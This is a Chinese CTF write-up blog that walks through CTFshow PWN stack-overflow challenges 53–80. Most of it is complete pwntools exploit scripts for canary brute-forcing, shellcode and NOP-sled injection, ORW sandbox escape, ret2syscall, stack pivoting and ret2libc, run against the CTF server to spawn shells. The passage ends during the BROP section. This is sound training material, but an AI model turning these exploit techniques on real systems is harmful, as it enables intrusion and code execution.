网络安全学习 栈溢出漏洞 CTFshow PWN 53-94(栈漏洞) Le7 2025-11-10 2026-03-13 53–逐字节爆破 先输入可输入的字节数
这里先输入200个字节
用来试canary
memcmp函数 memcmp按字节顺序比较,第一个字节不匹配就立即返回 。所以我们可以利用这个特性逐个字节爆破,而不需要一次性猜对完整的4字节canary。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *from LibcSearcher import *context.terminal = ['tmux' , 'splitw' , '-h' ] elf = ELF('/home/sirius/桌面/winDesktop/Share/download/pwn (9)' ) canary = b'' for i in range (4 ): for guess in range (256 ): p = remote('pwn.challenge.ctf.show' ,28109 ) p.sendlineafter(b'>' ,b'200' ) pay = flat( b'a' *0x20 , canary, p8(guess) ) p.sendafter(b"$ " ,pay) answer = str (p.recv()) if "Error *** Stack Smashing Detected *** : Canary Value Incorrect!" not in answer: canary += p8(guess) log.success(f'canary: {canary.hex ()} ' ) break else : p.close() p = remote('pwn.challenge.ctf.show' ,28109 ) flag = 0x08048696 p.sendlineafter(b'>' ,b'-1' ) pay = flat( b"a" *0x20 , canary, p32(0 )*4 , flag ) p.sendafter(b'$' ,pay) p.interactive()
61–leave 64位开了pie
先泄露v5的地址,但是栈空间不够
有leave
写进v5+24+8中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *from LibcSearcher import *context.terminal = ['tmux' , 'splitw' , '-h' ] context(log_level='debug' , arch='amd64' , os='linux' ) p = remote('pwn.challenge.ctf.show' ,28142 ) elf = ELF('/home/sirius/桌面/winDesktop/Share/download/pwn (18)' ) rv = lambda :p.recv() ru = lambda x:p.recvuntil(x) rud = lambda x:p.recvuntil(x,drop=True ) rl = lambda x:p.recvline() sd = lambda x:p.send(x) sl = lambda x:p.sendline(x) sa = lambda x,y:p.sendafter(x,y) sla = lambda x,y:p.sendlineafter(x,y) l32 = lambda data :u32(data.ljust(4 ,b'\x00' )) l64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , b"\x00" )) uu64 = lambda : u64(p.recv(6 ).ljust(8 , b"\x00" )) leak = lambda name, addr:log.success('{} -> {:#x}' .format (name, addr)) inter = lambda : p.interactive() lg = lambda address,data:log.success('%s: ' %(address)+hex (data)) if args.G: gdb.attach(p) padding = 24 ru("What's this : [" ) v5 = eval (rud("]" )) lg("v5" ,v5) shell = asm(shellcraft.sh()) pay = flat( padding *b'a' , v5+24 +8 , shell ) sl(pay) inter()
shell长度限制(短shell) read限制了shell的长度
buf填充的垃圾数据长0x10
rbp长0x8
返回地址长0x8
最终剩余能写入的只有0x38-0x10-0x8-0x8=0x18个字节了也就shell要是24字节内
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *from LibcSearcher import *context.terminal = ['tmux' , 'splitw' , '-h' ] context(log_level='debug' , arch='amd64' , os='linux' ) p = remote('pwn.challenge.ctf.show' ,28120 ) elf = ELF('/home/sirius/桌面/winDesktop/Share/download/pwn (18)' ) rv = lambda :p.recv() ru = lambda x:p.recvuntil(x) rud = lambda x:p.recvuntil(x,drop=True ) rl = lambda x:p.recvline() sd = lambda x:p.send(x) sl = lambda x:p.sendline(x) sa = lambda x,y:p.sendafter(x,y) sla = lambda x,y:p.sendlineafter(x,y) l32 = lambda data :u32(data.ljust(4 ,b'\x00' )) l64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , b"\x00" )) uu64 = lambda : u64(p.recv(6 ).ljust(8 , b"\x00" )) leak = lambda name, addr:log.success('{} -> {:#x}' .format (name, addr)) inter = lambda : p.interactive() lg = lambda address,data:log.success('%s: ' %(address)+hex (data)) if args.G: gdb.attach(p) padding = 24 ru("What's this : [" ) v5 = eval (rud("]" )) lg("v5" ,v5) shell = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05' pay = flat( padding *b'a' , v5+24 +8 , shell ) sl(pay) inter()
66–check函数绕过 看伪代码
过了check函数之后才能执行buf
这里buf必须为
check中的while(*a)遇到\x00就不检验了,还有strlen
如果shellcode是以\x00开头就能提权了
下面代码寻找\x00开头汇编指令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *from itertools import *import refor i in range (1 , 3 ): for j in product([p8(k) for k in range (256 )], repeat=i): payload = b"\x00" + b"" .join(j) res = disasm(payload) if ( res != " ..." and not re.search(r"\[\w*?\]" , res) and ".byte" not in res ): print (res) input ()
1 2 sl(b"\x00\xc0" + asm(shellcraft.sh())) it()
或者
1 2 3 4 5 6 7 8 from pwn import *context.arch="amd64" p = remote("pwn.challenge.ctf.show" , 28302 ) shellcode = asm(shellcraft.sh()) payload = b'\x00B\x00' + shellcode p.sendline(payload) p.interactive()
67–nop sled空操作雪橇 NOP Sled NOP Sled ,中文常被形象地称为“空操作雪橇”、“代码滑梯”或“NOP滑板”,是指在一段shellcode之前插入大量连续的NOP指令 。
**NOP指令:**即“No Operation”指令,对于x86架构的CPU,其机器码是 0x90。执行该指令时,CPU不会进行任何有效操作,仅仅将程序计数器(EIP/RIP)加一,然后继续执行下一条指令。
攻击者的目标是让程序执行流跳转到我们布置的shellcode上。但由于栈地址随机化(ASLR)等因素,我们往往无法精确预测shellcode的起始地址。NOP Sled就像在shellcode前铺上了一片长长的、平滑的雪橇道。只要程序执行流跳转到这个雪橇道的任何位置 ,CPU都会顺着这些NOP指令一路“滑行”下去,直到最终“滑进”并执行我们的shellcode。
检查保护32位
加了canary保护栈溢出受阻,没开NX可以在栈上执行shellcode
进主函数
分析之后,他会先泄露一个地址
这个地址是&v1+v2,这个v2是一个[-668,668]的一个随机数
下面让输入最多输入4096字节,后面可以输入一个地址,最后执行地址的内容
思路就是将shellcode写入这个地址中,后面调用就行,但是这个地址是个不确定的地址
就可以用到代码滑梯技术
在payload中插入大量nop,程序执行nop会向下执行,直到滑入shellcode
这里计算预期shellcode填入执行的地址
也就是覆盖到了main函数的栈中,将大量nop加shell注入到里面
shellcode写入地址的计算
Exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import *from LibcSearcher import *from itertools import *import recontext.terminal = ['tmux' , 'splitw' , '-h' ] context(log_level='debug' , arch='i386' , os='linux' ) p = remote("pwn.challenge.ctf.show" , 28240 ) rv = lambda :p.recv() ru = lambda x:p.recvuntil(x) rud = lambda x:p.recvuntil(x,drop=True ) rl = lambda x:p.recvline() sd = lambda x:p.send(x) sl = lambda x:p.sendline(x) sa = lambda x,y:p.sendafter(x,y) sla = lambda x,y:p.sendlineafter(x,y) l32 = lambda data :u32(data.ljust(4 ,b'\x00' )) l64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , b"\x00" )) uu64 = lambda : u64(p.recv(6 ).ljust(8 , b"\x00" )) leak = lambda name, addr:log.success('{} -> {:#x}' .format (name, addr)) inter = lambda : p.interactive() lg = lambda address,data:log.success('%s: ' %(address)+hex (data)) if args.G: gdb.attach(p) shell = asm(shellcraft.sh()) nop_len = 1337 ru(b"location:" ) addr = eval (rud(b"\n" )) lg("addr" ,addr) shell = asm(shellcraft.sh()) pay = b'\x90' *nop_len+shell shell_addr = addr+668 +0x21 ru(b"What will you do?\n> " ) sl(pay) ru("Where do you start?\n> " ) sl(hex (shell_addr)) inter()
69–ORW沙箱逃逸 查保护64位
查沙箱的工具
1 2 3 sudo apt install gcc ruby-dev gem install seccomp-tools
开了沙箱保护,但是开了系统调用号为0,1,2,60的系统调用,也就是可以用ORW
主要逻辑,输入可0x38字节,加上覆盖ebp和返回地址的空间,可以溢出的空间只有0x8字节了
这个函数中发现有jmp rsp,跳到栈顶的意思
0x20字节放不下ORW,这时候看到mmap函数申请了,0x123000地址,有0x1000字节的空间可写可执行
那么写payload引导进0x123000中写入ORW即可
覆盖返回地址为jmp rsp,让rip跳到栈顶后面重新计算栈顶将rip指向0x30的位置
也就是缓冲区的最顶端,为的就是执行payload中的内容
1 p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp" )
执行payload中内容到mmap分配的可执行空间
payload构造:
1 2 3 4 5 jmp_rsp = 0x400A01 pay =asm(shellcraft.read(0 , mmap, 0x100 )) pay += asm("mov rax,0x123000;jmp rax" ) pay = pay.ljust(0x28 ,b"\x00" ) pay += p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp" )
交互时发送payload,随后发送ORW
ORW shellcode板子
1 2 3 4 5 mmap = 0x123000 orw_shellcode = shellcraft.open ("/ctfshow_flag" ) orw_shellcode += shellcraft.read(3 , mmap, 0x100 ) orw_shellcode += shellcraft.write(1 , mmap, 0x100 ) shellcode = asm(orw_shellcode)
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *context.terminal = ['tmux' , 'splitw' , '-h' ] context(log_level='debug' , arch='amd64' , os='linux' ) p = remote("pwn.challenge.ctf.show" , 28173 ) rv = lambda :p.recv() ru = lambda x:p.recvuntil(x) rud = lambda x:p.recvuntil(x,drop=True ) rl = lambda x:p.recvline() sd = lambda x:p.send(x) sl = lambda x:p.sendline(x) sa = lambda x,y:p.sendafter(x,y) sla = lambda x,y:p.sendlineafter(x,y) l32 = lambda data :u32(data.ljust(4 ,b'\x00' )) l64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , b"\x00" )) uu64 = lambda : u64(p.recv(6 ).ljust(8 , b"\x00" )) leak = lambda name, addr:log.success('{} -> {:#x}' .format (name, addr)) inter = lambda : p.interactive() lg = lambda address,data:log.success('%s: ' %(address)+hex (data)) if args.G: gdb.attach(p) mmap = 0x123000 orw_shellcode = shellcraft.open ("/ctfshow_flag" ) orw_shellcode += shellcraft.read(3 , mmap, 0x100 ) orw_shellcode += shellcraft.write(1 , mmap, 0x100 ) shellcode = asm(orw_shellcode) jmp_rsp = 0x400A01 pay =asm(shellcraft.read(0 , mmap, 0x100 )) pay += asm("mov rax,0x123000;jmp rax" ) pay = pay.ljust(0x28 ,b"\x00" ) pay += p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp" ) ru(b"to do" ) sl(pay) sl(shellcode) inter()
71–ret2syscall(32位) 查保护,只开了NX栈不可执行,32位
程序没有libc,没system为静态编译,需要用到系统调用
这里劫持对象危险函数gets,不限制输入
找到binsh,记录地址
用gdb调出溢出偏移量为112字节
通过ROPgadget获得必要的gadget
0xb为execve的系统调用号
int 0x80进入内核状态
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import *context.terminal = ['tmux' , 'splitw' , '-h' ] context(log_level='debug' , arch='i386' , os='linux' ) p = remote("pwn.challenge.ctf.show" , 28127 ) rv = lambda :p.recv() ru = lambda x:p.recvuntil(x) rud = lambda x:p.recvuntil(x,drop=True ) rl = lambda x:p.recvline() sd = lambda x:p.send(x) sl = lambda x:p.sendline(x) sa = lambda x,y:p.sendafter(x,y) sla = lambda x,y:p.sendlineafter(x,y) l32 = lambda data :u32(data.ljust(4 ,b'\x00' )) l64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , b"\x00" )) uu64 = lambda : u64(p.recv(6 ).ljust(8 , b"\x00" )) leak = lambda name, addr:log.success('{} -> {:#x}' .format (name, addr)) inter = lambda : p.interactive() lg = lambda address,data:log.success('%s: ' %(address)+hex (data)) if args.G: gdb.attach(p) padding = b'a' * 112 pop_eax = 0x080bb196 binsh = 0x080BE408 pop_edx_ecx_ebx = 0x0806eb90 int_0x80 = 0x08049421 pay = flat( padding, pop_edx_ecx_ebx, 0 , 0 , binsh, pop_eax, 0xb , int_0x80 ) ru(b'ret2syscall!' ) sl(pay) inter()
无/bin/sh,写入bss 1 readelf -S ./pwn72 | grep .bss
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *from LibcSearcher import *from itertools import *import recontext.terminal = ['tmux' , 'splitw' , '-h' ] context(log_level='debug' , arch='i386' , os='linux' ) p = remote("pwn.challenge.ctf.show" , 28294 ) rv = lambda :p.recv() ru = lambda x:p.recvuntil(x) rud = lambda x:p.recvuntil(x,drop=True ) rl = lambda x:p.recvline() sd = lambda x:p.send(x) sl = lambda x:p.sendline(x) sa = lambda x,y:p.sendafter(x,y) sla = lambda x,y:p.sendlineafter(x,y) l32 = lambda data :u32(data.ljust(4 ,b'\x00' )) l64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , b"\x00" )) uu64 = lambda : u64(p.recv(6 ).ljust(8 , b"\x00" )) leak = lambda name, addr:log.success('{} -> {:#x}' .format (name, addr)) inter = lambda : p.interactive() lg = lambda address,data:log.success('%s: ' %(address)+hex (data)) if args.G: gdb.attach(p) padding = b'a' * 44 pop_eax = 0x080bb2c6 pop_edx_ecx_ebx = 0x0806ecb0 int_0x80 = 0x0806f350 bss = 0x080eaf80 binsh = b'/bin/sh\x00' pay = flat( padding, pop_eax, 0x3 , pop_edx_ecx_ebx, 0x10 , bss, 0 , int_0x80, pop_eax, 0xb , pop_edx_ecx_ebx, 0 , 0 , bss, int_0x80 ) ru("system?" ) sl(pay) sl(binsh) inter()
74–one_gadget 1 one_gadget /lib/x86_64-linux-gnu/libc.so.6
EXP: 1 2 3 4 5 6 7 8 execve = 0x10a2fc libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ) io.recvuntil("this:" ) printf_addr = eval (io.recvuntil("?" ,drop=True )) libc_base = printf_addr - libc.sym['printf' ] execve = execve + libc_base sl(str (execve))
75–栈迁移 (32位2次leave) 32位,有栈溢出,溢出空间不够
printf函数在不遇到\x00的情况下会一直向后输出
利用这个原理可以泄露出ebp上面的内容(旧函数的ebp)
栈迁移原理介绍与应用 - Max1z - 博客园
有了旧的ebp,经过动态调试,计算出这个旧的ebp和第二个read函数的栈顶的距离
这里计算出旧的函数的ebp和这个栈的esp相距0x38字节,利用leave将运行到最后的esp劫持回这个栈顶
最后构造payload
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *from LibcSearcher import *context.terminal = ['tmux' , 'splitw' , '-h' ] context(log_level='debug' , arch='i386' , os='linux' ) p = remote('pwn.challenge.ctf.show' ,28156 ) elf = ELF('/home/sirius/桌面/winDesktop/Share/download/pwn (31)' ) rv = lambda :p.recv() ru = lambda x:p.recvuntil(x) rud = lambda x:p.recvuntil(x,drop=True ) rl = lambda x:p.recvline() sd = lambda x:p.send(x) sl = lambda x:p.sendline(x) sa = lambda x,y:p.sendafter(x,y) sla = lambda x,y:p.sendlineafter(x,y) l32 = lambda data :u32(data.ljust(4 ,b'\x00' )) l64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , b"\x00" )) uu64 = lambda : u64(p.recv(6 ).ljust(8 , b"\x00" )) leak = lambda name, addr:log.success('{} -> {:#x}' .format (name, addr)) inter = lambda : p.interactive() lg = lambda address,data:log.success('%s: ' %(address)+hex (data)) if args.G: gdb.attach(p) system = elf.sym['system' ] ru("codename:" ) pay1 = b'a' *0x27 +b'b' sd(pay1) ru(b'b' ) old_ebp = uu32() lg('old_ebp' ,old_ebp) leave = 0x080484d5 s = old_ebp -0x38 binsh = old_ebp - 0x28 lg('binsh' ,binsh) pay2 = flat( b'aaaa' , system, 0 , binsh, b'/bin/sh\x00' , b'a' *0x10 , s, leave, ) sla(b'do?' ,pay2) inter()
76–栈迁移(一次leave) 查保护32位,开了NX,没开pie地址随机化
先输入一个数据
将其进行了base64解码
接着判断这个解码之后的内容长度,如果大于0xc也就是12字节,就报错
判断分支,将base解码之后的内容复制给了input地址上
进入下面auth函数,
将input内容复制给了v4,这里是漏洞点,从0x8开始复制的,但是能复制0xc个字节,
也就是可以覆盖到ebp但是不能覆盖到ret,
有leave,就可以劫持栈帧,把数据布置到input的bss段处
接下来构造payload,利用leave这个特性
将ebp覆盖成input所指向的bss段地址,mov esp,ebp
这时候esp被赋值为ebp地址,移动到ebp位置,此时的esp=input的bss段地址
接下来执行pop ebp,ebp此时被弹到input地址,现在所指向aaaa,与此同时,esp+4
下面执行ret,也就是pop eip
意思就是从当前esp读取4字节,作为下一个指令地址,而此时的esp为后门地址
correct函数中有后门
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *from LibcSearcher import *from base64 import *context.terminal = ['tmux' , 'splitw' , '-h' ] context(log_level='debug' , arch='i386' , os='linux' ) p = remote('pwn.challenge.ctf.show' ,28312 ) elf = ELF('/home/sirius/桌面/winDesktop/Share/download/pwn (31)' ) rv = lambda :p.recv() ru = lambda x:p.recvuntil(x) rud = lambda x:p.recvuntil(x,drop=True ) rl = lambda x:p.recvline() sd = lambda x:p.send(x) sl = lambda x:p.sendline(x) sa = lambda x,y:p.sendafter(x,y) sla = lambda x,y:p.sendlineafter(x,y) l32 = lambda data :u32(data.ljust(4 ,b'\x00' )) l64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , b"\x00" )) uu64 = lambda : u64(p.recv(6 ).ljust(8 , b"\x00" )) leak = lambda name, addr:log.success('{} -> {:#x}' .format (name, addr)) inter = lambda : p.interactive() lg = lambda address,data:log.success('%s: ' %(address)+hex (data)) if args.G: gdb.attach(p) binsh = 0x08049284 input = 0x0811EB40 ru(b"CTFshow login: " ) pay = b'aaaa' +p32(binsh)+p32(input ) pay = base64.b64encode(pay).decode('utf-8' ) sl(pay) inter()
77–ret2libc(泄露puts64位) 64位的
进ctfshow函数
这一段的意思大概意思是让用户循环输入然后读入,当遇到\n回车时就会退出
没有限制输入,看栈空间,04位置是v4,但是看上面流程v4是用户输入的索引值
所以这里进行垃圾数据填充时要注意还原原本的v4内容
也就是0x110-0x4+1=0x10d
这里占4字节可以用p32()打包,正常泄露puts函数打ret2libc即可
Exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from pwn import *from LibcSearcher import *from base64 import *context.terminal = ['tmux' , 'splitw' , '-h' ] context(log_level='debug' , arch='amd64' , os='linux' ) p = remote('pwn.challenge.ctf.show' ,28127 ) elf = ELF('./pwn' ) rv = lambda :p.recv() ru = lambda x:p.recvuntil(x) rud = lambda x:p.recvuntil(x,drop=True ) rl = lambda x:p.recvline() sd = lambda x:p.send(x) sl = lambda x:p.sendline(x) sa = lambda x,y:p.sendafter(x,y) sla = lambda x,y:p.sendlineafter(x,y) l32 = lambda data :u32(data.ljust(4 ,b'\x00' )) l64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , b"\x00" )) uu64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) leak = lambda name, addr:log.success('{} -> {:#x}' .format (name, addr)) inter = lambda : p.interactive() lg = lambda address,data:log.success('%s: ' %(address)+hex (data)) if args.G: gdb.attach(p) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = elf.sym['ctfshow' ] lg('main' ,main) rdi = 0x4008e3 ret = 0x400576 pay = flat( cyclic(0x110 -4 ), p32(0x10d ), p64(0 ), rdi, puts_got, puts_plt, main ) ru("T^T" ) sl(pay) puts = uu64() lg('puts' ,puts) libc = LibcSearcher('puts' ,puts) libc_base = puts - libc.dump('puts' ) system = libc_base + libc.dump('system' ) binsh = libc_base + libc.dump('str_bin_sh' ) lg('system' ,system) lg('binsh' ,binsh) pay2 = flat( cyclic(0x110 -4 ), p32(0x10d ), cyclic(8 ), ret, rdi, binsh, system ) sl(pay2) inter()
32位泄露puts函数打ret2libc板子 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 padding = '' puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = elf.sym['main' ] payload = flat([cyclic(padding),puts_plt,main,puts_got]) sl(payload) real_addr = get_32addr() libc = LibcSearcher("puts" ,real_addr) libc_base = real_addr - libc.dump('puts' ) sys,binsh = get_32sb_libcsearch() payload2 = flat([cyclic(padding),sys,0xdeadbeef ,binsh]) sl(payload2)
78–ret2syscall(64位) 进去发现是静态编译
思路首先是要想办法调用execve(“/bin/sh”,null,null)
然后找合适的空间传入/bin/sh字符串
最后系统调用execve
在32位程序中execve的系统调用号为0xb=11,64位为0x3b=59
在x64 Linux 中,系统调用通过寄存器传递参数:
rax:系统调用号。read 的系统调用号是 0。
rdi:第一个参数 fd (文件描述符)。0 代表标准输入,也就是我们脚本的输入。
rsi:第二个参数 buf (缓冲区地址)。我们填入 bss_addr,让数据读到这里。
rdx:第三个参数 count (要读取的字节数)。我们填入 0x10 (16字节),足够放下 "/bin/sh\x00"。
后边是rcx,r8,r9
也可以直接用工具构造ropchain
1 ROPgadget --binary 文件 --ropchain
EXP: 手动构造版本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *from LibcSearcher import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = remote('pwn.challenge.ctf.show' ,28148 ) elf = ELF('./pwn' ) libc = ELF('./libc.so.6' ) offsets = 0x58 rax = 0x46b9f8 rdi = 0x4016c3 rsi = 0x4017d7 rdx = 0x4377d5 bss = 0x6c2000 syscall = 0x45bac5 payload = b'a' * offsets + p64(rax) + p64(0 ) payload += p64(rdi) + p64(0 ) payload += p64(rsi) + p64(bss) payload += p64(rdx) + p64(0x10 ) payload += p64(syscall) payload += p64(rax) + p64(59 ) payload += p64(rdi) + p64(bss) payload += p64(rsi) + p64(0 ) payload += p64(rdx) + p64(0 ) payload += p64(syscall) io.sendline(payload) io.sendline('/bin/sh\x00' ) io.interactive()
工具构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 from pwn import *from struct import packio = remote('pwn.challenge.ctf.show' ,28178 ) p = cyclic(0x50 +8 ) p += pack('<Q' , 0x00000000004017d7 ) p += pack('<Q' , 0x00000000006c0060 ) p += pack('<Q' , 0x000000000046b9f8 ) p += b'/bin//sh' p += pack('<Q' , 0x00000000004680c1 ) p += pack('<Q' , 0x00000000004017d7 ) p += pack('<Q' , 0x00000000006c0068 ) p += pack('<Q' , 0x000000000041c35f ) p += pack('<Q' , 0x00000000004680c1 ) p += pack('<Q' , 0x00000000004016c3 ) p += pack('<Q' , 0x00000000006c0060 ) p += pack('<Q' , 0x00000000004017d7 ) p += pack('<Q' , 0x00000000006c0068 ) p += pack('<Q' , 0x00000000004377d5 ) p += pack('<Q' , 0x00000000006c0068 ) p += pack('<Q' , 0x000000000041c35f ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x000000000045afa0 ) p += pack('<Q' , 0x0000000000400488 ) io.sendline(p) io.interactive()
79–ret2shellcode(32位) 查保护都没开,想到直接注入shellcode
可以输入2048字节,然后复制到buf中,存在栈溢出,没给后门可以直接泄露puts函数打ret2libc
也可以打ret2shellcode
要找到注入shellcode之后的位置
调试在ctfshow函数中的leave下断点,断在ret之前
运行之后输入4个a看寄存器状态
输入的数据存在eax中
1 ROPgadget --binary './pwn' --only "call "
注意这里要直接payload拼接,在shllcode后面填充数据,使用ljust补全打不通
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *from LibcSearcher import *from base64 import *context.terminal = ['tmux' , 'splitw' , '-h' ] context(log_level='debug' , arch='i386' , os='linux' ) p = remote('pwn.challenge.ctf.show' ,28242 ) elf = ELF('/home/sirius/桌面/winDesktop/Share/download/pwn (39)' ) rv = lambda :p.recv() ru = lambda x:p.recvuntil(x) rud = lambda x:p.recvuntil(x,drop=True ) rl = lambda x:p.recvline() sd = lambda x:p.send(x) sl = lambda x:p.sendline(x) sa = lambda x,y:p.sendafter(x,y) sla = lambda x,y:p.sendlineafter(x,y) l32 = lambda data :u32(data.ljust(4 ,b'\x00' )) l64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , b"\x00" )) uu64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) leak = lambda name, addr:log.success('{} -> {:#x}' .format (name, addr)) inter = lambda : p.interactive() lg = lambda address,data:log.success('%s: ' %(address)+hex (data)) if args.G: gdb.attach(p) eax = 0x080484a0 shell = asm(shellcraft.sh()) pay = shell + b'a' *(0x208 +4 -len (shell)) + p32(eax) sl(pay) inter()
80–BROP(无文件盲打ROP) 参考
ctfshow-pwn入门-pwn80小记 - MaiCai - 博客园
1.找到堆栈长度 从长度1开始爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *from LibcSearcher import *def connection (): io = remote('pwn.challenge.ctf.show' ,28137 ) return io def get_buf_length (): times = 1 while 1 : try : io = connection() payload = 'a' * times io.send(payload) data = io.recv() print (data) io.close() if b'No passwd,See you!' not in data: return times - 1 else : times += 1 except EOFError: time += 1 times = get_buf_length() print (times)
2.找到程序的Stop_Gadget Stop_Gadget可以看作是程序的复活点,通常就是main函数或者是start的地址,将这个地址覆盖返回地址就能实现程序的循环
由于刚开始并不知道程序的内存哪里是安全的main函数入口,那暂时就从0x400000为起点开始一个字节一个字节的尝试
如果addr指向的是一个垃圾代码或者是非法的内存地址那么程序就会崩溃(Crash)
